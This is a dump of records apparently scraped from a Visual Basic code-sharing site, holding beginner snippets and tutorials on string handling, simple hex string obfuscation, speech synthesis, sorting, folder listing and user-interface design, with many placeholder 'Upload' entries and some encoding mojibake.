DelimitString = DelimitString & Mid(TheString, i, 1)\n End If\n Next i\nEnd Function\nPublic Function AltCaps(TheString As String, Optional StartWithFirstCharacter As Boolean = True) As String\n Dim LastCap As Boolean\n AltCaps = \"\"\n If StartWithFirstCharacter = False Then LastCap = True\n For i = 1 To Len(TheString)\n If LastCap = False Then\n AltCaps = AltCaps & UCase(Mid(TheString, i, 1))\n LastCap = True\n Else\n AltCaps = AltCaps & LCase(Mid(TheString, i, 1))\n LastCap = False\n End If\n Next i\nEnd Function\nPublic Function Propercase(TheString As String) As String\n Propercase = UCase(Left(TheString, 1))\n For i = 2 To Len(TheString)\n If Mid(TheString, i - 1, 1) = \" \" Then\n Propercase = Propercase & UCase(Mid(TheString, i, 1))\n Else\n Propercase = Propercase & LCase(Mid(TheString, i, 1))\n End If\n Next i\nEnd Function\nPublic Function CountCharacters(TheString As String, CharactersToCheckFor As String) As Integer\n Dim Char As String\n Dim ReturnAgain As Boolean\n CountCharacters = 0\n For i = 1 To Len(TheString)\n If i < (Len(TheString) + 1 - Len(CharactersToCheckFor)) Then\n Char = Mid(TheString, i, Len(CharactersToCheckFor))\n ReturnAgain = True\n Else\n Char = Mid(TheString, i)\n ReturnAgain = False\n End If\n If Char = CharactersToCheckFor Then CountCharacters = CountCharacters + 1\n If ReturnAgain = False Then GoTo NextPos\n Next i\nNextPos:\nEnd Function"},{"WorldId":1,"id":50387,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50388,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50395,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50397,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50398,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50400,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50403,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50405,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50406,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50415,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50420,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50423,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50424,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50425,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50426,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50428,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50431,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50433,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50450,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50457,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50467,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50470,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50480,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50484,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50487,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50498,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50501,"LineNumber":1,"line":" Public Function HexEncrypt(ByVal sString As String) As String\n Dim sHex As String\n Dim i As Long\n Dim pos As Long\n Dim Encrypt As Boolean\n Dim sNew As String\n Dim sTmp As String\n Dim iDec As Long\n \n pos = 1\n For i = 1 To Len(sString) 'loop through the string however needed\n If Mid(sString, 1, 1) <> Chr(163) Then 'check if the string is already encrypted\n 'Turn Char into hex\n sHex = sHex & Hex$(Asc(Mid(sString, i, 1)))\n 'pad hex with zeros\n If Len(sHex) = 1 Then sHex = \"0\" & sHex\n Encrypt = True\n Else 'turn hex into text\n sTmp = Mid(sString, 2, Len(sString))\n sHex = Mid(sTmp, pos, 2)\n iDec = Val(\"&H\" & sHex)\n If iDec > 0 Then\n sNew = sNew & Chr(iDec)\n End If\n pos = pos + 2\n Encrypt = False\n End If\n Next\n If Encrypt Then\n HexEncrypt = Chr(163) & sHex\n Else\n HexEncrypt = sNew\n End If\n End Function\n \n *************************** EXAMPLE: ***************************\n \n Dim Creator as string\n Creator = HexEncrypt(\"┬ú42614444424C6F6F44\")\n which actually means Creator = BaDDBLooD.\n \nWhen people hex edit, They'll see the Hex of ┬ú42614444424C6F6F44, This will fake most inexperience users. Considering most people who hex programs are complete dumbdumb's ( Bad word Filter ) who can't make there own programs. Sometimes Experience users hex programs, to make them work under updated circumstances. If you want to Protect against this, just change the encryption to something more complex.\nTutorial Created by Joel Zimmerman, or Wu~En][g(v)a~uW@useast on Battle.net"},{"WorldId":1,"id":50502,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50506,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50509,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50513,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50518,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50526,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50541,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50547,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50550,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50560,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50571,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50576,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50584,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50586,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50592,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50595,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50597,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50608,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50613,"LineNumber":1,"line":"http://sc.am/cryptim/chat.zip\nSome of the features:\n* IM's\n* Multi-user irc like chat With user modes, topics, bans, and channel modes.\n* A Channel services system For the irc-like chat (works like a bot on irc would, but built into the server)\n* Away mode With away messages.\n* Friends, Blocks, and Favorite channels list all stored On the server so you have the same lists no matter where you login from.\n* Window docking and stay On top.\n* Many options on the Server and Client.\n* The server supports all kinds of logging features.\n* Auto-backup of every configuration setting, including users on an hourly basis.\n* New user signup uses a password On the server.\n* Client can remotely change the users password.\n* Client and Server both have \"keep-alive\" code. They both make timed ping/pong's To the server (irc talk). This means that every 45 seconds the server sends a PING command to a client. Then the client sends the same command to the server. This helps keep the connection from timing out on isp's that Do that sort of thing.\n* Many \"User Cleanup\" options. These allow you To go through the user list and clear out accounts that need to be deleted or frozen. Using simple rules like: Anyone who hasnt signed on in 6 months.\n* The server supports permanent channels/rooms now. Server admins can add channels that will be there at all times, whether they have users in them or not.\n* The client has sounds, and they are just wav files so you can replace them With whatever sounds you might want.\n* Delayed signoff/signon like AIM (this is what I call it when the person signs on and the icon changes and waits a second, so you can see who it was that signed on.)\n* Auto-join favorite channels On signon\n* The client uses the winsock api, the server uses the winsock control. So you can Get examples of both.\n* The server has been hit as hard as can be To find holes and bugs and all that have bee found security wise have been fixed.\n* Server administrators can freeze accounts With a reason that is told to the user when they try and sign on.\n* Server administrators can ban ip's.\n* Server administrators can ban channel names, and key words in channels to block names that might contain language they would rather Not see.\n* Users who are Set away show up as a different color In the user list (blue)\n* Client and Server both minimize To the tray.\n* much more...\nThis is still under heavy development, new features and bug hunting going On every day. It is still considered alpha. I hope To have it ready to be tagged as beta 1 within 2 months.\n(the screenshot is just of the server)\nI would post the source here but too many people dont like reading the \nreadme.txt file and dont compile the few ocx's and dll's that CryptIMs source code uses. \nThis results In many (last time almost 150)\nemails asking me why it isnt working, from people who obviously have no clue. \nI really like posting my code here. This site is a great resource. \nI just cant take all those emails so I wont put the code here. \nInstead you may Get the code With the compiled support files \n(it also comes With their source so you can look at the code or re-compile it If you want) \nfrom my website: http://sc.am/cryptim/chat.zip"},{"WorldId":1,"id":50614,"LineNumber":1,"line":"This is only the basics, because I figured out how to use it today, but it still does what it is supposed to.\nFirst of all, open a new project, Doesn't matter what kind, and click Project|Referances, and look for \"Microsoft Speech Object Library\". Check the box by it, and click OK. This is to basically connect the DLL to you're project. Once you did, Open the code window, and go to the Declarations section. In it, type:\nPublic Voice As New SpVoice\nPublic VoiceStatus As New ISpeechVoiceStatus\nNow, whenever you want Windows voice synthesizer to say something, use a line of code like this:\nVoice.Speak \"This is an example of how to use Microsofts Voice Synthesizer\"\nYou can replace the text in the parenthesis with ANYTHING, including variables and other various information. Only one problem: It freezes the program until it's done speaking. This can be a major problem. How is it fixed? By adding a flag, called SVSFlagsAsync. This will allow the program to operate while it's speaking. So now, it's like this:\nVoice.Speak \"This is an example of how to use Microsofts Voice Synthesizer\", SVSFlagsAsync\nTo Make it state the contents of a variable, you'd say something like this:\nVoice.Speak LabelDescription.Caption, SVSFlagsAsync\n-or-\nVoice.Speak MyVariable, SVSFlagsAsync\nPretty simple eh?\nThat's all I could figure out so far, but I'll keep experimenting, and see what I can do. This might also work on older versions of VB, but I'm not sure, so even if you don't have Visual Basic 5 or 6, try it and tell us if it works. ^_^"},{"WorldId":1,"id":50629,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50631,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50633,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50634,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50640,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50647,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50656,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50661,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50662,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50663,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50669,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50674,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50686,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50687,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50690,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50691,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50693,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50695,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50703,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50708,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50709,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50711,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50714,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50715,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50721,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50722,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50723,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50726,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50729,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50730,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50732,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50745,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50748,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50752,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50759,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50761,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50762,"LineNumber":1,"line":" Option Explicit\n ' put this code in a form, add a RichTextBox1, Text1, and a Command1 Button for vb6 only\n Private Sub Command1_Click()\n Dim x As Integer, i As Integer\n Dim Ray() As String\n x = 0\n RichTextBox1.Text = \"Spyo Was Here, and got\" & vbCrLf & \"1: One Choice\" & vbCrLf & \"2: No Choice\" & vbCrLf & \"3: None of the Above\" & vbCrLf & \"4: All of the Above\"\n Ray() = Split(RichTextBox1.Text, \"\" & vbCrLf & \"\")\n For i = 0 To UBound(Ray)\n x = x + 1\n Next i\n RichTextBox1.Text = \"\"\n x = x - 1\n For i = 0 To x\n RichTextBox1.Text = RichTextBox1.Text & Ray(i) & vbCrLf\n Next i\n Text1.Text = x & \" Arrays As In Ray(0),Ray(1),Ray(2),Ray(3),Ray(4), but not Ray(5) or Above\"\n End Sub\n 'This is something very usefull, please improve it and share,,, vote ?"},{"WorldId":1,"id":50766,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50768,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50769,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50770,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50782,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50783,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50793,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50795,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50798,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50802,"LineNumber":1,"line":"'in the keypress event of msh1 write the following code.\nPrivate Sub msh1_KeyPress(KeyAscii As Integer)\n Select Case KeyAscii\n \n Case vbKeyReturn, vbKeyTab\n 'move to next cell.\n With msh1\n If .Col + 1 <= .Cols - 1 Then\n .Col = .Col + 1\n Else\n If .Row + 1 <= .Rows - 1 Then\n .Row = .Row + 1\n .Col = 0\n Else\n .Row = 1\n .Col = 0\n End If\n End If\n End With\n \n Case vbKeyBack\n With msh1\n 'remove the last character, if any.\n If Len(.Text) Then\n .Text = Left(.Text, Len(.Text) - 1)\n End If\n End With\n \n Case Is < 32\n \n Case Else\n With msh1\n .Text = .Text & Chr(KeyAscii)\n End With\n \n End Select\nEnd Sub"},{"WorldId":1,"id":50817,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50818,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50828,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50831,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50833,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50835,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50839,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50842,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50857,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50873,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50876,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50881,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50883,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50887,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50895,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50917,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50918,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50920,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50929,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50934,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50939,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50951,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50952,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50953,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50958,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50959,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50960,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50982,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50985,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50986,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50989,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":50993,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51000,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51001,"LineNumber":1,"line":" Revised, it was nice and simple but failed \n too many text files, thanks for all inputs\n Also Add a Text1 Multi line = True \n and Command1 to a Form then dump all the code below into the form, please comment some more\n Option Explicit\n Private Sub Command1_Click()\n Dim Ray() As String, Oui As Boolean, z As Byte\n Dim TmpRay As New Collection\n Dim i As Integer, x As Integer, y As Integer Dim No As Integer, Pas As Integer\n z = 255\n 'last asc caracter also it is max up for a byte var\n Oui = False\n ' a good name for a true false var, Oui mean Yes in french\n TmpRay.Add \"├┐\"\n 'last possible caracter Asc255 added only for the first comparason\n Text1 = \"FLine 1\" & vbCrLf & \"XLine 2\" & vbCrLf & \"BLine 3\" & vbCrLf & \"ELine 4\" & vbCrLf & \"HLine 5\" & vbCrLf & \"ALine 6\" & vbCrLf & \"MLine 7\" & vbCrLf & \"BLine 8\" & vbCrLf & \"GLine 9\"\n Ray() = Split(Text1, vbCrLf)\n For Pas = 0 To UBound(Ray)\n 'we splitted this amount of vdCrLt so we set it as max\n For i = 0 To UBound(Ray)\n 'this is how many comparason per pass\n x = Asc(Left(Ray(i), 1))\n If x < z Then\n 'it may be lower lets see if its a reapeat\n No = 0\n Do\n No = No + 1\n If Ray(i) = TmpRay(No) Then\n Oui = True\n 'while in do loop,saw it was already there\n End If\n Loop Until No = TmpRay.Count \n ' after No is equal to the collection we see if oui is still false\n If Oui = False Then\n z = x\n 'z reset at 255 then keep shrinking till nothing is lower\n y = i\n 'y will hold the lowest possible line\n End If\n End If\n Oui = False\n 'reset the oui to False default value\n Next i\n TmpRay.Add Ray(y)\n 'finally sorted, unique values are added to collection\n z = 255 ' reset time\n Oui = False ' reset time\n Next Pas\n TmpRay.Remove (1)\n 'deleting the asc255 value from the start\n Text1 = \"\"\n 'to save lines i use this same bow to load the string now it need clearing\n For i = 1 To TmpRay.Count\n ' max amount in the collection\n Text1 = Text1 & TmpRay(i) & vbCrLf\n 'adding them to anything we want, textbox in this case\n Next i\n End Sub"},{"WorldId":1,"id":51005,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51016,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51022,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51033,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51036,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51038,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51043,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51046,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51050,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51052,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51060,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51068,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51077,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51083,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51094,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51095,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51109,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51110,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51125,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51126,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51128,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51129,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51135,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51138,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51145,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51146,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51148,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51151,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51156,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51159,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51161,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51167,"LineNumber":1,"line":"' Name: 3D Cube Program\n' Author: Matthew Pearce\n' Date: Tuesday, 20th January 2004\n' Purpose: To display an interactive 3D cube on the screen using Sin and Cos\nDim i1 As Integer, i2 As Integer, i3 As Integer, i4 As Integer, pitch As Double\nPrivate Sub Form_Activate()\n i1 = degtorad(0)\n i2 = degtorad(90)\n i3 = degtorad(180)\n i4 = degtorad(270)\n pitch = 0.5\n UpdateCube\nEnd Sub\nPrivate Sub Form_KeyDown(KeyCode As Integer, Shift As Integer)\n Select Case KeyCode\n Case vbKeyLeft:\n i1 = i1 - 10\n i2 = i2 - 10\n i3 = i3 - 10\n i4 = i4 - 10\n Case vbKeyRight:\n i1 = i1 + 10\n i2 = i2 + 10\n i3 = i3 + 10\n i4 = i4 + 10\n Case vbKeyUp:\n If pitch > -1 Then\n pitch = pitch - 0.1\n End If\n Case vbKeyDown:\n If pitch < 1 Then\n pitch = pitch + 0.1\n End If\n End Select\n UpdateCube\nEnd Sub\nFunction degtorad(deg As Integer)\n deg = deg / 360 * 3.14 * 200\n degtorad = deg\nEnd Function\nFunction LineCalc(inum1, inum2, inum3, inum4, add1, add2)\n ' Calculate verteces\n LX1 = LineCalcX(inum1)\n LX2 = LineCalcX(inum2)\n LY1 = LineCalcY(inum3, add1)\n LY2 = LineCalcY(inum4, add2)\n ' Draw lines between verteces\n Line (LX1, LY1)-(LX2, LY2)\nEnd Function\nFunction LineCalcX(inum)\n LineCalcX = Sin(inum / 100) * 1000 + 2000\nEnd Function\nFunction LineCalcY(inum, a1)\n LineCalcY = Cos(inum / 100) * 400 * pitch + a1\nEnd Function\nFunction UpdateCube()\n Refresh\n ' Draw Top Face\n LineCalc i1, i2, i1, i2, 1000, 1000\n LineCalc i2, i3, i2, i3, 1000, 1000\n LineCalc i3, i4, i3, i4, 1000, 1000\n LineCalc i4, i1, i4, i1, 1000, 1000\n ' Draw Sides\n LineCalc i1, i2, i1, i2, 2000, 2000\n LineCalc i2, i3, i2, i3, 2000, 2000\n LineCalc i3, i4, i3, i4, 2000, 2000\n LineCalc i4, i1, i4, i1, 2000, 2000\n ' Draw Bottom Face\n LineCalc i1, i1, i1, i1, 1000, 2000\n LineCalc i2, i2, i2, i2, 1000, 2000\n LineCalc i3, i3, i3, i3, 1000, 2000\n LineCalc i4, i4, i4, i4, 1000, 2000\nEnd Function"},{"WorldId":1,"id":51180,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44895,"LineNumber":1,"line":"public filetext as String\nprivate sub command1_click()\nDim fso As New FileSystemObject\nmyfoldertext=\"C:\\folder\\\"\ncall get_all_directory_files(fso.getfolder(myfoldertext))\ntext1.text=filetext\nset fso=nothing\nend sub\n\nPublic Sub get_all_directory_files(ByVal tfolder As folder)\nDim objfile As file\nDim objfolder As folder\nDim fso As New FileSystemObject\nIf tfolder <> \"\" Then\nFor Each objfile In tfolder.Files\n'do the stuff we want with the files\nfiletext=filetext+objfile+ vbNewLine\nNext\nFor Each objfolder In tfolder.SubFolders\nCall get_all_directory_files(objfolder)\nNext\nSet fso = Nothing\nEnd If\nEnd Sub"},{"WorldId":1,"id":44898,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44905,"LineNumber":1,"line":"This piece of code really comes in handy when storing data (unpredictable in\nlength) into a file, or Sending data over the net (communication between Client\nand Server applications).\nFor example, You have a client and server app.┬á\nWhen any of the two applications receive data, you would want to know what to\ndo with it, therefore you add a header, say 1 alpha character long. Then you\nhave rest of the data. But what if you need to send two or more strings at the\nsame time. Like the following example.\nThe server app. sends a data, which is encrypted, through two values - one\nwhich has been hard-coded, and the other randomly generated whenever the server\nbroadcasts data to the client (unpredictable in length).┬á\nNow how would the client know the second encryption code?\nWe have 3 values we need to send to the client, 1- the code to let the client\nknow what to do with the data┬á 2- The random encryption code 3- The\nencrypted data it self(unpredictable in length).\n1- d \n2- hfh8i3*&#^ \n3- $&HD&*@#\nAs I said before, we've assigned the first letter of the broadcast string to\nlet the client know what to do with it. d (display it), now the encryption code,\nnormally you would measure how long the encryption code is, and add that length\nin front of the encryption, and would do the same with the data. In all, it\ntakes way too long to code this, and uses too much time to harvest at the client\nside, and during the process some where weird errors can occur causing the app\nto crash or to read weird inputs.\nThis is where this code can come in handy.\nAll the server has to do, is combine all of these three values together\n(separated by a delimiter)┬á\npossibly like this: d*|*|*hfh8i3*&#^*|*|*$&HD&*@#\n*notice the *|*|* separating the strings. This delimiter can be anything,\nfrom a single character to fairly long string. I suggest using weird patterns\nlike above to avoid any confusion between the delimiter and the actual data.\nNow on the client side all that has to be done is:\nDim args(30) As String \nDim TotalSplits as Integer \nDim SockInput as String \n \n\nWinsock.getdata SockInput \n \nTotalSplits = explodeargs(SockInput, args)\n---------\nThat all there is to it. That statement above will return the following.\nTotalSplits = 2 (because starting from 0, 3 is only 2) (this returns the\nTOTAL splitable segments.┬á \n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á\nAnd with this you can do a For loop... like:┬á┬á For i = 0 to\nTotalSplits step 1) \nargs(0)┬á┬á┬á┬á┬á = d \nargs(1)┬á┬á┬á┬á┬á = hfh8i3*&#^ \nargs(2)┬á┬á┬á┬á┬á = $&HD&*@#\n---------\nI hope the example above demonstrated a possible use for this. This isn't all\nerror proof, or anything big, but sometimes it comes really in handy. \nBelow is the code you can place anywhere to use. \n \nPublic Function explodeargs(ByVal s,\n ByRef arg() As String,\n Optional ByVal splitpattern As String = \"*|*|*\")\n As Integer \n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á On Error Resume Next\n ' on error, just quietly continue on to next operation \n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á Dim i \n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á For i = 0 To 30\n Step 1 ' assume maximum 30 option strings \n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á\narg(i) = Null ' null everything in the array first \n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á Next \n \n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á On Error GoTo\nExtractionFinished \n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á\nFor i = 0 To 30 Step 1 \n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á\narg(i) = Split(s, splitpattern)(i) ' begin splitting, if an error occurs, then auto exit \n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á Next \n \nExtractionFinished: \n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á explodeargs = i - 1 \nEnd Function\n"},{"WorldId":1,"id":44906,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44907,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44911,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44917,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44920,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44924,"LineNumber":1,"line":"User Interface Design\nVersion 2\nI am very surprised to see the lack of information in the area of Graphical User Interfaces (GUI) on this web site. The useability of your software will largely affect peoples impressions. Here is some information that will hopefully get you thinking more seriously about how you design your software.\n1. Applying Psychology to Design\n\n1.1 Sensation & Perception\nDonΓÇÖt rely on a visual notification alone to let the user know a process has started or finished. Processes that can take a while may be helped by using audition to let the user know the task has been started or completed. At the same time be weary of sensory overkill, the user doesnΓÇÖt want the system beeping at them every 5 seconds or to have a message box popping up interrupting them from the task they are performing. \nTip: Avoid actions that could stress/frustrate sensory systems.\n\n1.1.1 Feedback\nProvide feedback for users actions. Good feedback helps confirm that the software is responding to input and communicates details that distinguish the nature of the action. Effective feedback is timely and is presented as close to the point of the user's interaction as possible. Even when the computer is processing a particular task, provide the user with information about the state of the process and how to cancel the process if that is an option. Nothing is more disconcerting to users than a \"dead\" screen that is unresponsive to input. A typical user will tolerate only a few seconds of an unresponsive interface.\nTip: You can communicate simple information through mouse pointer changes, sounds or a status bar message; for more complex feedback, you may need to display a progress control or message box.\n\n1.2 Attention & Performance\n1.2.1 Decision Automation\nThe operational assumption is that the user - not the computer or software - initiates actions. The user plays an active rather than reactive role. You can automate tasks, but implement the automation in a way that allows the user to choose or control it.\nTip: Do not automatically get your program to run on start up or place icons on the desktop.\n\n1.2.2 Design for Learning\nInitial performance by new users is slow and may require attention and guidance, however once a task has been learnt continually guiding a user through the task is both slow and frustrating, the option to better automate the task needs to be available to the user.\nTip: Make use of program preferences to turn on/off help aids.\nTip: Have multiple ways of executing common tasks such as menu options, icon bars, shortcut-keys and dropdown menus.\nTip: Make menu bars and tool bars more customable.\n\n1.2.3 Design for Error\nDonΓÇÖt just capture boundary conditions. Take into account mistakes of intention and action slips of commission. Users like to explore an interface and often learn by trial and error.\nTip: Make use of message boxes to warn, notify users about potential situations where they could damage the system or data, or better, makes actions reversible or recoverable.\n\n1.3 Human Memory\nUse existing knowledge when possible. Assist learning by analogy and use recognition over recall.\nDonΓÇÖt overload short-term memory, remember an average person has a limit of 7+/-2 ΓÇÿchunksΓÇÖ for about 15 seconds. Auditory rehearsal, primacy & recency effects are also a focus of short-term memory. Maintain an external memory for the user where possible.\nDesign for consistency to avoid interference: Avoid pro-active and retroactive interference\n1.4 User Neiching\nWho are the people using your software and how often do they use it. You need to take into account their industry background, age, frequency of use and general computer knowledge.\nTip: Be careful who evaluates your software, are they the types of people who will be using it?\n\n2. Design Principles/Goals\nSimplicity ΓÇô Simple tasks should be easy to do\nGeneralisability ΓÇô One set of conventions should apply to many tasks\nConsistency ΓÇô Follow established / own conventions\nRedundancy ΓÇô Provide multiple means to accomplish tasks\nDocumentability ΓÇô Systems should be easy to document\nAccuracy ΓÇô Online help and documents should reflect actual function\nLearnability 